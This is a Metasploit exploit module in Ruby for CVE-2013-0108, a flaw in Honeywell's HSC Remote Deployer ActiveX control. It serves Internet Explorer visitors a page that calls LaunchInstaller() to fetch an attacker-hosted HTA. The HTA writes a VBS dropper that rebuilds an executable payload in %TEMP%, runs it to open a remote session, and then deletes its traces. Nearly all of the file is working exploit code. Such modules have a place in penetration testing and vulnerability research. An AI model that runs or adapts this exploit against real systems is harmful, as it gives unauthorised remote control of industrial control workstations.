##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution",
'Description' => %q{
This modules exploits a vulnerability found in the Honewell HSC Remote Deployer
ActiveX. This control can be abused by using the LaunchInstaller() function to
execute an arbitrary HTA from a remote location. This module has been tested
successfully with the HSC Remote Deployer ActiveX installed with HoneyWell EBI
R410.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'juan vazquez'
],
'References' =>
[
[ 'CVE', '2013-0108' ],
[ 'OSVDB', '90583' ],
[ 'BID', '58134' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/03/11/cve-2013-0108-honeywell-ebi' ],
[ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f -k'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 22 2013",
'DefaultTarget' => 0))
end
def exploit
@var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
@dropped_files = [
@var_exename
]
super
end
def on_new_session(session)
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
begin
wintemp = session.fs.file.expand_path("%TEMP%")
win_file = "#{wintemp}\\#{win_file}"
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
session.fs.file.rm(win_file)
print_good("Deleted #{file}")
true
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to delete #{win_file}")
false
end
end
end
end
def build_hta(cli)
var_shellobj = rand_text_alpha(rand(5)+5);
var_fsobj = rand_text_alpha(rand(5)+5);
var_fsobj_file = rand_text_alpha(rand(5)+5);
var_vbsname = rand_text_alpha(rand(5)+5);
var_writedir = rand_text_alpha(rand(5)+5);
var_origLoc = rand_text_alpha(rand(5)+5);
var_byteArray = rand_text_alpha(rand(5)+5);
var_writestream = rand_text_alpha(rand(5)+5);
var_strmConv = rand_text_alpha(rand(5)+5);
p = regenerate_payload(cli);
exe = generate_payload_exe({ :code => p.encoded })
# Doing in this way to bypass the ADODB.Stream restrictions on JS,
# even when executing it as an "HTA" application
# The encoding code has been stolen from ie_unsafe_scripting.rb
print_status("Encoding payload into vbs/javascript/hta...");
# Build the content that will end up in the .vbs file
vbs_content = Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_ary = []
# The output of this loop needs to be as small as possible since it
# gets repeated for every byte of the executable, ballooning it by a
# factor of about 80k (the current size of the exe template). In its
# current form, it's down to about 4MB on the wire
exe.each_byte do |b|
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
end
vbs_content << vbs_ary.join("")
# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
# Then use ADODB.Stream again to write the binary to file.
#print_status("Finishing vbs...");
vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
Set #{var_strmConv} = CreateObject("ADODB.Stream")
#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2
SetLocale(#{var_origLoc})|)
hta = <<-EOS
<script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
window.close();
</script>
EOS
return hta
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /MSIE \d/
print_error("Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
uri = ((datastore['SSL']) ? "https://" : "http://")
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
uri << ":#{datastore['SRVPORT']}"
print_status("Request received for #{request.uri}");
if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/
hta = build_hta(cli)
print_status("Sending HTA application")
send_response(cli, hta, {'Content-Type'=>'application/hta'})
return
end
html = <<-EOS
<html>
<body>
<object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
</object>
<script>
RemoteInstaller.LaunchInstaller("#{uri}", "", false);
</script>
</body>
</html>
EOS
# we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path' => "/SystemDisplays/RemoteInstallWelcome.hta", 'Proc' => proc}) rescue nil
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end